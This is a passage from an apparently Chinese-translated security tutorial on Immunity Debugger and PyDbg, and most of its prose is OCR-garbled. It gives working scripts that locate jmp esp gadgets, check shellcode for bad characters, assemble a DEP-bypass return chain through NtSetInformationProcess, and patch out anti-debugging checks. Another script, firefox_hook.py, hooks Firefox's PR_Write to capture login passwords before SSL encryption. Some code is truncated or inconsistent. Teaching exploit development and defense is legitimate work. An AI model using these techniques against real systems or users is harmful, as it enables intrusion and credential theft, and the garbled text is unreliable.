LB # R TTIRE A RAIsHRAR L
FastLogHook/STDCALLFastLogHook

X TR hook FIAA—NC4Bkss, RHITHIRZFZEI—EX hook X8 BLLE ZFE
HEF %%ﬁ FMAFHIE, LHBEIRENA AN EX T hook IEEFRA ; BARE
1534 v R

LA F#Y LogBpHook 5l 71X 5332 8E 4% 4F % PyHook BI#EAR.



from immlib import *
class MyHook( LogBpHook ):
def init ( self ):
LogBpHook. init ( self )
def run( regs ):
# Executed when hook gets triggered

FA1EH T LogBpHook %, FHEEIT run()EE (45) » X hook #ifl % Byat
%, AT BM CPU HF7E2%, URKIESENEHEEA regs, LthatFH b LUERE 41
T, regs @—NNF B, W5 A n FEHEME :

regs["ESP"]

hook BTLAE L 1£ PyCommand 2, BastiaH, WAl LAEBEIARA PyHooks B
Fo B REZ Immunity BSHIHMEXLEH F, BETRRFLRH,



5.3 Exploit 7 %

£ RARZE—NIE, EREXRFBEFZA, 2 BRBKH—EBEREE, & o
Immunity %1% 7T XFESMT 5% £ 11803%+, BEESBFRALTIIVNES, &
TERE MNEFF 4% —L PyCommands LAINIRE exploit BIFF %, XL PyCommands &
SERRHITHEE S HE, HEEMIB SN MITHR##E shellcode, 443 shellcode
MR E R AR 2t 8 WESFR,. FMnzxf$A PyCommand
£lfindantidep 41t DEP (B4 ITIRP) o

5.3.1 L RIFHIFIFHiES

315 EIP Sz e, MMIME TR % E] shellcode, HAIFA XL
=, RB —1F1EHERIRM shellcode, R TERLERER AT 2 EHE L
IN&KBE: B EIBL 22 FERMZ, Immunity IREMEREOGXATHEST
BREx, CRNEBEENERF IHEENNRA, BETEIMXET,

# findinstruction.py
from immlib import *
def main(args):
imm = Debugger()
search_code = " ".join(args)
search_bytes = imm.Assemble( search_code )
search_results = imm.Search( search_bytes )
for hit in search_results:
# Retrieve the memory page where this hit exists
# and make sure it's executable
code_page = imm.getMemoryPagebyAddress( hit )
access = code_page.getAccess( human = True )
if "execute" in access.lower():
imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ), ¢
return "[*] Finished searching for instructions, check the Log

j S s

BNEHEBEERNAD EERFEPIREBLHEESH) , AERiE Search()
7R EETREFNAEZ R ha S X MEFrME, HREIEItIIRA, HEE
MHUFTER 7. BEERATEZAHTHN, SHE—PFFE EEFMRRLTENE
REFEH, ERKal T zERTnTIRea,

Ifindinstruction <instruction to search for>

Az T iam ALUT X B,

Ifindinstruction jmp esp



R £ A 5-2

Y590Z21EF| [#] Found: jmp es
& [#]1 Found: Jj
S [#]1 Found: Jj
F|[#] Found: imp
7| [#] Found: jmp
2 [#] Found: Jjmp
B [#]1 Found: Jj
#] Found:

#1 Found:
#]1 Found: .imp

i
fLm I B T e s I I I o o o

O [#]1 Found: jmp esp [

I!findinstrumiun jmp esp

[¥] Finizhed zearching faor instructions, check the Log window,

5-2 Ifindinstruction PyCommand B4 H

REFRNMNB2EB T —PHUFIER, xitbitERREF T 41189 shellcode iz {T#EF (R
1IR1R B9 shellcode Mt R7E ESP &) . MM EREFRSELEFZE=5, BRMNAE
B2AT 1Ty RHFHWESHIUNTE, BIFREREK,

5.3.2 it I BEFH

LUIRx E—BRREF AR E#R%, BTFFERFNXR, shellcode thiFi% %
AT, FNBIF, MRFATM— strepy()iBEHR L 0 T 2 HKEH, FHABFIA
KARTEEEE NULL = #F(0x00).H # strepy() — 1BE| NULL = Ft&E1E#E R
B, AL, FAEE I shellcode %43, EBHFRERITEERS, AT, AxE
EMER S exploit EX%, LHLINBFHELENFEN RS, NEFRERER
HITTEMERET BB, X TRMERT,

—iRIERT, MRIRHEFT EIP BIIZHI PR, A5 shellcode #7574 Hl=kE
crash B #7, EEHRBCOHHXESR (KEE], #3235 —D#EREHETF, 7
BIREEREB RN JERIE) . EX A, REENEREMA shellcode HUERRY
SHREAE, Immunity [F BUX-ATHEERTS. B 5-3 L a2 FEHEA,



REglEtErE [FFLI

ernel32.GetTickCount

B134HEFE

FEDEVY2AR
rOFEFEFE

Figure 5-3: i@t Z & Immunity &0

WRFA R, EIP Haih9aEfl ESP BI—#, 4 NFH B OxCC [HF R X2 5 211k
T/E, FREE Egil&%T&ﬁ,.\\ (OXxCC #1 INT3 HIEER—#) . B2&EE\E 4D
INT3 54, 7 ESP+0x4 £ shellcode B9FF#a. Ffi14F shellcode JJ-Tr,*aﬁ EAY)
ASCIl 5, AE—1F%H —D FH WL REHSH shellcode FF 414 1=
shellcode EXLE 5|, IRE— /n\?fv’f?\—ﬁ;, i AEEE RS R EE k. B
FE’JI&I&:—M&-M\@H ENEENZRFIMA shellcode 455,

{REe4% M CANVAS, Metasploit, 2tE 1R B S HIFIER shellcode, #7# badchar.py
Yﬁ:, B ALLUT 5,



#badchar .py
from immlib import *
def main(args):
imm = Debugger ()
bad_char_found = False
# First argument is the address to begin our search
address = int(args[0],16)
# Shellcode to verify
shellcode = '"<<COPY AND PASTE YOUR SHELLCODE HERE>>"
shellcode_length = len(shellcode)
debug_shellcode = imm.readMemory( address, shellcode_length ) «
imm.log("Address: 0x%08x" % address)
imm.log("Shellcode Length : %d" % length)
imm.log("Attack Shellcode: %s" % canvas_shellcode[:512])
imm.log("In Memory Shellcode: %s" % id_shellcode[:512])
# Begin a byte-by-byte comparison of the two shellcode buffers
count = 0
while count <= shellcode_length:
if debug_shellcode[count] != shellcode[count]:
imm.log("Bad Char Detected at offset %d" % count)
bad_char_found = True
break
count += 1
if bad_char_found:
imm.log("[***** | |] u)
imm.log("Bad character found: %s" % debug_shellcode[count]’
imm.log("Bad character original: %s" % shellcode[count])
imm.log(ll[***** | |] II)
return "[*] !badchar finished, check Log window."

{ — >

EXNDEAR, HMNREM Immunity 7388 T readMemory()EEL, T TEIRIA
RE #2NFRHELR, AERBZERIRD shellcode f# ASCIl 4 #3 (JARIREF
% OXEB 0x09, #4#aERIFNFRENESER EB09) , {4 ABWAE, FEM
TiE1T :

Ibadchar <Address to Begin Search>

ERMBTERIGIFH, FiISM ESP+0x4 Hitit (0XOOAEFD4C) 23%, FIELE
PyCommand #4741 Fp 4!

Ibadchar OxOOAEFD4c

ﬁMEGHf”Z':EﬁiAf_F"%f%%E’JET{ 3% % HER, HRLELRRKADIEERIX
shellcode AR B¢ ) -

5.3.3 it windows FY DEP



DEP 2 —#1E windows(XP SP2, 2003, Vista) F £ sl IR L 2R #HLEI, FBEF5LE
3 TEASEH LT, XEELEFEELSHRBEFIAR~LETT, BAKREH
exploit #=1E shellcode MEHF £, AMA—THRIGEETTW R it DEP, FIAH
3} RNTEHY API EK#L NtSetinformationProcess(), ©RE4% [ Lk # F289 DEP R 47,
B TR 4278 B shellcode, Immunity 78X 8814t T —1 PyCommand
£34 findantidep.py BE43 R R ZHE| DEP puithitt, ;EFFB—F X very very
nice FIEIEL,

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength

):

4 THE#2R DEP R#F KM, FEL NtSetinformationProcess()#
ProcessInformationClass E#:% & ProcessExecuteFlags (0x22), %
ProcessInformation £#§ i% & MEM_EXECUTE_OPTION_ENABLE (0x2), 7] &
2 1F shellcode ':F'dﬁﬁﬁﬁ/l\'/lﬂiﬂu—f%.':lj 3, NULL =8, fRMA SRR HE—/NES
AR T NtSetinformationProcess()HIEKE, 1% FH MBI shellcode # 1 Elix PNEHEL
28— 1P EHMBSFEE ntdil.dl B, FA Immunity K4 ntdlldil 3z 4

ik,
7C91D3F8 . 3C 01 CMP AL,1
7C91D3FA . 6A 02 PUSH 2
7C91D3FC . S5E POP ESI
7C91D3FD . OF84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI

7C93FEBD .AE9 41D5FDFF JMP ntdll.7C91D403

7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0

7C91D407 . OF85 60890100 JNZ ntdll.7C935D6D

7C935D6D 6A 04 PUSH 4

7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]

7C935D72 . 50 PUSH EAX

7C935D73 . 6A 22 PUSH 22

7C935D75 . 6A FF PUSH -1

7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess

+EMA 228 NtSetinformationProces I E i+ 72, B 5cthis ALFD 1, 8

2 # A ESI,
4 (ief3 ESIIARE 2) .
4 BI1EIES,

wiEE 24 Pki: 3] Ox7C93FEBA, 7EiX BIY ESI# n :

¥ EBP-
EEIEE MBI E] 7C91D403, 1Eix BISA A HE 4 EBP-

IEZm) Eﬂls#% E| 0x7C935D6D, MX BB T BEER, 4 HE—DEA

#, EBP-4 (BA% 2 21) #iN#&# EAX, AREAR, EEZ X222 #®BEAN, &i5-1



wmAEN (-1 RZIEYHF1#728 DEP) . ®RTAH
ZwSetInformationProcess (NtSetinformationProcess B 2|#5) . LMY BT
MIThEEE Y F TEMNEEGAR :

NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )

Perfect | ix # #tf28 DEP Bi#EUE T, EXZBIA AR X IERN, F—
exploit X ZEfM ittt Ox7C91D3F8 &, M ITEI 0x7C91D3F8 /I, %R
ALZEK 1.—B# B7 XL ME, FMEEEE s JMP ESP SH2H i #£B4 Fi
8 shellcode, #AELFM =W 47 BIHLE -

— N3 AL 2B 1 AFIREl, — it E A —iE K DEP s Eithit,
— DR AT AR IR B[ EIF 417 shellcode

AEBIRFEF IR AU LMIE, Fid Immunity 3266 T findantidep.py 4 BiF 4]
ST XA, EREEEI— exploit FRFE, Fe5/RESH exploit 5, Fi
BE AT, # TREE findantidep.py X3, ETRNEKERTHTN K.



# findantidep.py
import immlib
import immutils
def tAddr(addr):
buf = immutils.int2str32_swapped(addr)
return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]) ,
ord(buf[1]), ord(buf[2]), ord(buf[3]) )
DESC="""Find address to bypass software DEP"""
def main(args):
imm=immlib.Debugger ()
addylist = []
mod = imm.getModule("ntdll.d1l1l")
if not mod:
return "Error: Ntdll.dll not found!"
# Finding the First ADDRESS ret = imm.searchCommands("MOV AL,1'
if not ret:
return "Error: Sorry, the first addy cannot be found"
for a in ret:
addylist.append( "Ox%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the First Address [sets AL 1
firstaddy = int(ret[0:10], 16)
imm.Log("First Address: 0Ox%08x" % firstaddy, address = firstad«
# Finding the Second ADDRESS ret = imm.searchCommandsOnModule (
POP ESI\n" )
if not ret:
return "Error: Sorry, the second addy cannot be found"
secondaddy = ret[0][0]
imm.Log( "Second Address %x" % secondaddy , address= secondadd)
# Finding the Third ADDRESS ret = imm.inputBox("Insert the Asm
ret = imm.searchCommands(ret)
if not ret:
return "Error: Sorry, the third address cannot be found"
addylist = []
for a in ret:
addylist.append( "Ox%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the Third return Address []ji
thirdaddy = int(ret[0:10], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )
imm.Log( 'stack = "%S\\XTF\\XFIN\XTFN\XFT%S\\XTF\\XFFN\XFF\\Xxf1
( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) )

J — o

BEIHIBS"MOV AL, \nRET" AAREHIEFIRAP % 12—, TEE ntdll.dl B
%R DEP X3, =% FHFHITREFE4 shellcode B3, X MUBER »~
M, XEE &SRB —1. gRENTE Log EO, A 5-4 F| 5-6 2B

2o




Please, choose the First Address [sets AL :i x|

(] I Eancell
Figure 5-4: 35—, #4—Diillk, FFi%E AL 4 1
x
JMP ESP
(] I Cancel

Figure 5-5: 3 A\E B RMIED

Please, choose the Third return Address -‘._;3_1" ; x|

(] I Cancel

Figure 5-6: 3 — MR [O] ik
=EAIRGE | g RUTF:

stack = "\X75\Xx24\XOI\XOI\XTFF\XTF\XTF\XTFTF\X56\X31\X91\X7c\xFff\xff\;
J — o]

P4 BB -3 F0REY shellcdoe AE R~ E, {RELBEST exploit BHEEIEH k DEP B9
R, WERER G 2B Python BIAFLEETER M AT 17 RFF % H 2 EH exploit,
BHEARAILN M EBEFZ M, &ETE 30 #5158, BETRZDWNMAA immlib
2t R — IR BI85 ML,




5.4 157 A X AL

RENFESHREIRIET, TheERE, xRN HFEH. —FHmE, %
KaiTamBZzMBARAERLEME, »— N AEERRA RV, B 9RXE.
BETREBANS TREBRRARIE, FA Immunity i8iX25%0 Python £):& B 2/
B 25 3¢ 238 X MLl

5.4.1 IsDebuggerPresent

AERERNRAXIFEFRZA IsDebuggerPresent (H kernel32. 1) . EHEAR
RES Y, NRZAFRXBMMESEI#TE, RO 1, SnbhRE 0.MARBMK
I %X DR

7C813093 &gt;/$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C813099 &#124;. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C &#124;. OFB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \. C3 RETN

08 i AUTRY 3 3k $cBae e BR R X ORI, B—17, Bid FS FHEEHEH
25 0x18 fiI#kEI TIB (XFRER3) Bythit, HET17:@ig TIB BIEE 0x30 ikl
PEB(#f2 #1518 R 3k) Butthit, 5 =47y9 PEB BY 0x2 {iii& LB BeingDebugged %
=771 EAX FF8P, WRAR XM MEI#E, %44 % 0x1, Damian Gomez
BT —1 g 2898438 IsDebuggerPresent, A LURAEHITE Immunity 34,
17, =&ETE PyCommand A8 F,

imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" )

FEMIK 2 PEB B BeingDebugged 4757t 2 BY:% BERKO. AT RE L EHER
IsDebuggerPresent SK¥|if T iX2& T, BE T,

5.4.2 R SR

RERNXWEAME 2 THHEBLUBARSEARSETET. 21M0F, WRIRIE
EF Immunity 38X —NMEE, MERFEM—D% A ImmunityDebugger.exe BY it
72, JREEit P Process32First & 5B — Eﬂﬂﬁ’ﬂiﬁi, EEH ProcessBZNext
1@% X IR TR R, X AN KBRS — N RE, SikAREREE

T, BMEZERNRHEROE (F 41%‘7(_ EAX SiFast) , MEH% 55770?}:
ﬁb?&ﬁx%%ﬁ%lﬁﬁﬁ%T K20 :



process32first = imm.getAddress('"kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
function_list = [ process32first, process32next ]
patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET" )
for address in function_list:
opcode = imm.disasmForward( address, nlines = 10 )
imm.writeMemory( opcode.address, patch_bytes )

B AR, MeniRvRR, RER—ERA TR 2L HRIEE
73, X 2 EAX EK 0, AFREl, #ETHEKC4% Process32First #l
Process32Next #1117 M58, XX MHWENME —LEANREERH AR
A MEEHER L, BMESE 10ITBEAA4T, MEBRIBET. REH20E
B4 TREBEASE 1017, AELHE 2B AT EHEERIREI KK,

Foi@it AN F R T A0MAER Python #1 Immunity 8 iX.88, #RELEL
e BESEMZMIMRA XA ERERFER, I AEBEFAR5%EE, BZ
Immunity 7o SfF =M 4 R 3 RESE FF % exploit BIFI 25,

ETREFREERIZFRM hooking £ K.



6 HOOKING

Hooking /& — 38 K 32 15 78 (process-observation)¥ R @it i) T # I2HIRTE,
Bl R R EUER 5 7 FIEk % .  Hooking & AT rai rootkits, #ZRENIR42(E B,
BRI, THMARERP, Bt HEH 28 hook 2 FRHENBENER, 8%
T ERSFITIEERN A, hook, & EMEAK.

£ Windows R4, BIHFEZLHAERL M hook, BAEEN L AF @ soft hook FI
hard hook, soft hook i 2TEZMI MBI E +=# 2, A INT3 i, EE#EHN
HAT R, XA 58 BV BETRLXIE"RIR, hard hook | 27 B #r 2 72 H 88 4 45 (
hard-coding)— " Bk4% El hook X#3(FC 42 %E). Soft hook 77 BEHIEEA
AHREM, M, #THBx # B * £ KN A B © 5 A 2 hard
hook, B M # ¥ & B hard hook , 4 %| & heap-management routines #
intensive file 1/0 operations,

HBMNEREN BB I E 25 hook, A PyDbg 52 3, soft hook FA T PRIRINERHI M 2%
4, A Immunity 52 3 hard hook f—£E/5%%8Y heap instrumentation,



6.1 FH PyDbg =2 i, Soft Hooking

B— I FELEE S A E RIEMBRIM % £ 4, Fat A THHRE FinfliR 42382 1
BT ERTE, FnE=FERA— ML o250 Wireshark, BRAZHE,
Wireshark # 8EIE 2 B2 M T8, FEEH O T EEM. B soft
hooking REE9 EHIRIMN BRI EHES HEEEHE TSI,

215 Bl R TR % 25 Mozilla Firefox, # 7 iXR215, HBi1ERL
Firefox @ IR (BN SELRE) . FAHME 4 FL2TE firefox.exe #HEMNEE
FERIRIEHEUE, AERERNMLINEHIFEIE SSL, X RHNEEB iR
Rho

A TIREFREAAR CRNBHIENZ%) , FEFEM L &R ARNKRDE
http://forum.immunityinc.com/index.php?topic=35.0 ), AIEE B RH 7 B 2TE
47 % & hook, FA15EMRENR hook & BETE PR _Write # L (H nspr4.dll.
FH) o HXDEREM HATHEE, HAX[ ESP + 8 [#5[A ASCIl FRFEE (224
RXMERMBHENE) . ESP + 8 iBAERE PR_Write B —MEE, thEH A
RHEN, LEEe, RERERF,

B SciTIF Firefox, # AR hitps://www.openrce.org/s, —BAREEW T SSI iE 3,
TETFL & AT, A Immunity MTANE! firefox.exe #F27E nsprd4.PR_Write 1% &
#rei. 7£ OpenRCE MitA LABF—ITMEZEO, RER P& A test F1% 43 test,
R Login &4, »EMMTR ILZwAt % ; BiR F9, MTRBRRL%., =&, [
EABIWTHAR :

[ESP + 8] => ASCII "username=test&password=test&remember_me=on"

Ry, BNRBMNEBR TR » 2HES, BEMRMML 2 E npEE 2
—# 21¢ SSL MEBHNLTRLBIEIE. XMFTIER st OpenRCE B, H{Rx i

ER—NFREE BURBIENM LR, X EHERFREZOBRMRE, i
BHUIRAFIRERARS ZHIRT, BatF2EE,

13 PyDbg 7 3L soft hook Z 81, |EXEL— 1B 2B hook BizHIE 2. M
T4k LR2:

hooks = utils.hook_container()

{8 A hook_container % B add()AEFFHANE LH hook Il#E, HEFEE :

add( pydbg, address, num_arguments, func_entry_hook, func_exit_hool

J oo



http://forum.immunityinc.com/index.php?topic=35.0
http://www.openrce.org/

B—NSEEEBER—NEMM pydbg B4F, address S BN ER L hook Bt
tk, num_arguments & &R 1% 3% 4 hook BIS#, func_entry_hook
func_exit_hook #3Z[E;AEKEL, func_entry hook = hook #fit % 53T %8 MY,
func_exit_hook Z# hook ENEE EIRH Z RI#ITH. entry hook FAF13EIE%K
HISE, exit hook A TFHHIREEAIIRDI4,

def entry_hook( dbg, args ):
# Hook code here
return DBG_CONTINUE

dbg%z&iﬁﬁﬁiﬁi&ﬂ’\] pydbg B#x, args EIK—1FIFR, BE hook fifl & at UL E|
E,\J ?/ % o

exit hook EAEREA— R FRMEZ T ret 38, @8 7HEHHRE @ (EAX BY
14 ): def exit_hook( dbg, args, ret ):

# Hook code here
return DBG_CONTINUE

ETH2AEEWNMAA entry hook IRIFNNZAFIHIEIE,



#firefox_hook.py from pydbg import *

from pydbg.defines import *

import utils

import sys

dbg = pydbg()

found_firefox = False

# Let's set a global pattern that we can make the hook

# search for

pattern = "password"

# This is our entry hook callback function

# the argument we are interested in is args[1]

def ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read unt:
# we reach a NULL byte buffer = ""

offset = 0
while 1:
byte = dbg.read_process_memory( args[1l] + offset, 1 )
if byte != "\x00":
buffer += byte offset += 1 continue
else:
break

if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container() dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook_address = dbg.func_resolve_debuggee('"nspr4.dll", "PR_Wi
if hook_address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_ad(
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)

J — 2]




K% ;588 7 :7E PR _Write L% & hook, % hook #f % MoatfE, i1z ixinHHB
ZA SHIEANZRTE, MREFENBIERITEHNE® ST, o —THH
Firefox, & iz 1T firefox_hook.py A&, EEX NS %, EF
https://www.openrce.org/, FERI#HHEIT :

[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing process.

Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=jms&password=yeahright!&remember_me=on

Listing 6-1: How cool is that! F/{1BEBEIRINFRIBNA F RE =

HMELERT soft hook Wiz EwMB|ARE, XFAEEMATAIA £ BB
R WA R, ELEEBBIFH softhook WITEREIEE, MNMREBBEMEEERF
MEBGARN, #EL LMK TBRIE, THRE, xER. REEY, H
INT3 #fl % B, RIF HATARR AT AB hook R+ Z [FiR[O], X [DOITE % 3E
BELNEH, MERBEBWHIITH TR BETRLBENEEFNMEL % E hard
hook #1 instrument low-level heap routines LAEZ R X 7] &,


http://www.openrce.org/

6.2 Hard Hooking

AEXREIFEBAMA T, bhard hooking, X hook RE %, xt#iENR AR
N, E A hook fXBF B T x86 L4138, TEEF soft hook Bt {51 ki s i
2N EBRESEMH ﬂii, EEMIT hook X3, EME#FE, #A hard hook
BetHz, RET#ARENIBY B— 32X, FH hook X8, BkiZElhXi%iniT5EMK
=P &IEIIEI%E,J*IJ%_’ﬁL'?i—UIL*Io 1 RELE, hard hook Bir#fEM %, #ERE
#(2, MR soft hook,

Immunity 38X 8814t T — 1 & 2 B33 R FastLogHook F3E 1% hard hook,
FastLogHook 735 & hook HIEKEEE ABki: X 73, BEkEI FastLogHook E 3% HY—
HAR AKX, HEAHEE R LBENRATEFRE X 250 BHX i, éﬂ"#’?a_
fast log hooks BYet &, FTEHLE —1 hook 84+, ABELEE e HEIEE

4, FRFIEZRMT :

imm = immlib.Debugger ()

fast = immlib.FastLogHook( imm )
fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )

logFunction #3% & NS, address 2% ZE hook FIEEBIAEBRE Mt (X
MM It Rk IEREE) o MNREEEMLEB hook, num arguments ) % B X
REBRINS BB E, WREXBM L Rhook, M xERKO,
& BY 52 % H logRegister(),logBaseDisplacement(), and IongrectMemory()_ |
FIETE .

logRegister( register )
logBaseDisplacement( register, offset ) logDirectMemory( address )

J =

logRegister() 55 B FIRERIEEN T 728, LINRIFREAREE (F#7E EAX

) . logBaseDisplacement()/5/E#E I 2 NS#, —1MN&FES, I—NMRBE ;
AFMEFPIRINES HNERBETFHENEEZEH# . &E—1 logDirectMemory()
AT MIEERI AR FHLE 3 BX #E,

% hook fit %, log KEMITR G, fistEEEERE—D FastLogHook B 3%
ik, 4 T 43R hook I R, 1’F' VR{E A getAllLog()E#, ©4&iR[E—
Python 713k :

[( hook_address, ( argl, arg2, argN )), ... ]



FTLAERR hook # A % B at iz, filk Mt FL7E7E hook_address BB, FIEEEME
BEEESEE-HHh., #F 5% — 1 EE K FastLogHook Ft 2
STDCALLFastLogHook( i F STDCALL ;34 ). cdecl 8 4 EfF A
FastLogHook,

Nicolas Waisman(w % #i&H + 2%)FF % 7 hippie(FI A hard hook), B LATE
Immunity #3& it PyCommand #1Ti8F. Nico B, :

#13& Hippie EMIZ A T 21— NFEB log hook, {15 IBiESMIHERELR A
T A B, FMIF : S1RIRA Notepad TH— X 4 xt iz 1E, EFEH A
KX #5 4500 ;R RtlAllocateHeap #1 RtIFreeHeap ., %1 & 2 Internet Explorer, #
HXMWEHHARSE 10 EEEES,

Wit hippie 2 ) HRERE, <t TEREREETHFRMN exploit BYUEE, HTF 43
MR E, FA1REA hippie B9/ OIIEE S| B —1 1 £ BIBIAK hippie_easy.py.

EFANTFIARI, %7 8T RtlAllocateHeap #1 RtlFreeHeap.

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle, IN ULONG Flags,
IN PVOID HeapBase

)

PVOID RtlAllocateHeap(
IN PVOID HeapHandle, IN ULONG Flags,
IN SIZE_ T Size

);

RtIFreeHeap #1 RtlAllocateHeap BIFFE S &R A ARy, it
RtlAllocateHeap R [E|RI#T# It th 2 F E /IR,

#hippie_easy.py
import immlib
import immutils
# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this 1is used to find the proper hook point for RtlAllocateHeap
def getRet(imm, allocaddr, max_opcodes = 300):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.disasmForward( addr )
if op.isRet():
if op.getImmConst() == OxC:
op = imm.disasmBackward( addr, 3 )
return op.getAddress()
addr = op.getAddress()
return 0x0
# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap, RtlFre¢
if a[0] == rtlallocate:



imm.Log( "RtlAllocateHeap(0Ox%08x, 0Ox%08x, Ox%08x) <- Ox%08Xx %s'
return "done"
else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" % (a[l1][0], a[l1
def main(args):
imm = immlib.Debugger ()

Name = "hippie"
fast = imm.getKnowledge( Name )
if fast:

# We have previously set hooks, so we must want

# to print the results

hook_list = fast.getAllLog()

rtlallocate, rtlfree = imm.getKnowledge("FuncNames")

for a in hook_list:

ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook_list)
# We want to stop the debugger before monkeying around
imm.Pause()
rtlfree = imm.getAddress("ntdll.Rt1lFreeHeap")
rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")
module = imm.getModule("ntdll.dll")
if not module.isAnalysed():

imm.analyseCode( module.getCodebase() )
# We search for the correct function exit point
rtlallocate = getRet( imm, rtlallocate, 1000 )
imm.Log("RtlAllocateHeap hook: 0Ox%08x" % rtlallocate)
# Store the hook points
imm.addKnowledge( "FuncNames", ( rtlallocate, rtlfree ) )
# Now we start building the hook
fast = immlib.STDCALLFastLogHook( imm )
# We are trapping RtlAllocateHeap at the end of the function
imm.Log("Logging on Alloc 0x%08x" % rtlallocate)
fast.logFunction( rtlallocate )
fast.logBaseDisplacement( "EBP", 8 )
fast.logBaseDisplacement( "EBP", OXC )
fast.logBaseDisplacement( "EBP", 0x10 )
fast.logRegister( "EAX" )
# We are trapping RtlFreeHeap at the head of the function
imm.Log("Logging on RtlFreeHeap 0Ox%08x" % rtlfree)
fast.logFunction( rtlfree, 3 )
# Set the hook fast.Hook()
# Store the hook object so we can retrieve results later
imm.addKnowledge(Name, fast, force_add = 1)
return "Hooks set, press F9 to continue the process."

j S 2]

EFE— N EEE A Nico WERK 23327 LAE RtlAllocateHeap RIEBi% iE hook BY
ik, EFAIRC4 RtlAllocateHeap KB B &R B /LITHIERT R ELHM



Ox7C9106D7
0x7C9106DE
0x7C9106E4
Ox7C9106E6
0x7C9106EB

F605 FOO2FE7F TEST BYTE PTR DS:[7FFE02F0], 2
OF85 1FB20200 JNZ ntdll.7C93B903

8BC6 MOV EAX, ESI

E8 17E7FFFF CALL ntdll.7C90EE02

C2 0COO RETN 0C

Python KB MEREBLEELUR L%, BEEITE 0x7C9106EB $#E| RET 155 A G

B ITIESEE 0x0C, AREEERC% 3 17T Ex 0x7C9106D7, X MR
zi%fy THERERBHNEFEA S NEHH IMP IS, WRHI11E RET X1TE
ASANEFHIMP IES, HEMRBESHEBMNK2EE., BETERETRELE
,uH‘EEI’J$|EE, IR TR B, #18 SE%. XE/NHBEBRFRESAHEMNE
g, EZ#5mEa, TANELSSSEBRAE,

T—1T 22 5 L HHIRT hook BB XET, MRRE
ik I BWERNB 47, %F?TEI].':I:'. hook {8 2. BIASE—Riz THeHE% & hook,
B8 TR {TRYEHE %A1 hook RIRYLE R, &Rz TR BUETHY hook #iE., WRAE
5 EAIF#E knowledge base BRI B 4x, EEMFXZEH shell By AT T,

SE— #ﬁﬂﬁEﬁLMWHWL,oﬁ?ﬁWMﬁ&@mﬂﬁ&H%ﬁm_
NS xBROEE, RtFreeHeap REHF =SB ILULT, RETARHBit 100
TR, T #EARIHER T 58 KM hard hook, % AEREMAMAERNZ RN
T&, Verycool !

;£ FA notepad.exe 1%, BEBEE M Nico FTtITFHF— i EM A KR 4500
AR, & Immunlty T$TF C:\WINDOWS\System32\notepad.exe iz
1T'hippie_easy G (MR T #F FHE), WE #FE, 1 Notepad E it 4% File--
>0pen,

NIEWAER, EEiE
II:HO

T HM knowledge base

1T'hippie_easy, 1R =FEEAX2FEHEEO(ALT-L)H4%

RtlFreeHeap(0x000a0000,
Rt1lFreeHeap(0x000a0000,
Rt1lFreeHeap(0x000a0000,
Rt1lFreeHeap(0x001a0000,
Rt1lFreeHeap(0x00030000,
Rt1lFreeHeap(0x000a0000,

OX00000000,
OX000O0000,
OX00000000,
OX000O0000,
OX000O0000,
OX00000000,

0x000cabhbo)
0x000can58)
0x000can20)
0x001a3ae8)
0x00037798)
0x000c9fe8)

Listing 6-2 H!hippie_easy PyCommand = £ 8 #H

FEEF I HBNBET—

hook $ & 1EARAIHE R 38 X, 5
hook ¥28E, FiLiX—

—RX—
tIB s B#1T, XE2EFH,

LR, MRMFEEE Immunity BiX3sB0R AR, SBEILH
B 4674 Rfh %, FRLA Nico @xt89, {REETE(EIet{ZEHTia 1 HH]ZIKLM@E U%ﬁﬂ’]ﬁﬂ
% s RM% B 4, & cool AR T LA RARBERASE

JRENEF, ELE?JEMT&? T iE K
X BARH, B

TRiLF N2 J ARSI — 1 #12, BIEEB,

X ZERE,



